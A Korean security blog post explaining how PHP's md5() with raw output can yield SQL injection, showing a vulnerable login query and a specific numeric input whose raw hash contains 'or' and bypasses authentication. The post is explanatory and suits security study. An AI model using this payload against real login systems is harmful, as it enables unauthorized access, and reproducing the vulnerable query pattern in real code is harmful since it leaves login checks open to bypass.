반응형

만약 SQL 쿼리가 

mysql_query("SELECT login FROM admins WHERE password = '" . md5($_GET['password'], true) . "'");

처럼 받은 값을 md5하여 처리할 경우 SQL Injection이 될 수 있다.


MD5 함수를 자세히 보면

string md5( string $str [, bool $raw_output = false] )

처럼 되어있다,


즉, md5('test',true) 같이 사용할 경우 raw 형태로 출력이 되어 Mysql 등 DB에서 유효한 ' 혹은 " 가 출력될 수 있다.


참고한 사이트를 보면 

'||'1

md5의 raw 형태 출력 결과 위와 같은 결과가 나오길 바라며 코딩을 하여 찾아보았다.



아래는 그 결과이다.

content: 129581926211651571912466741651878684928
count:   18933549
hex:     06da5430449f8f6f23dfc1276f722738
raw:     ?T0D??o#??'or'8.N=?

즉 password 부분에 content에 해당하는 [129581926211651571912466741651878684928] 를 넣게 되면 raw 형태로 쿼리에 들어가 ' or '부분이 적용되고 8이 boolean의 true처럼 작동하여 로그인이 성공하는 방식이다.


자세한 사항은 아래 남겨놓은 참고 사이트를 보길 바란다.


참고 : http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes

반응형

'Hacking > Web' 카테고리의 다른 글

Oracle 을 통해 JAVA 코드 사용  (0) 2018.02.05
XXE Injection  (0) 2018.02.01
SQL Injection_V2.0  (0) 2018.01.17
SQL Injection  (0) 2018.01.16
파일 다운로드 취약점 시 찾아볼 것  (0) 2017.12.04
블로그 이미지

rootable

,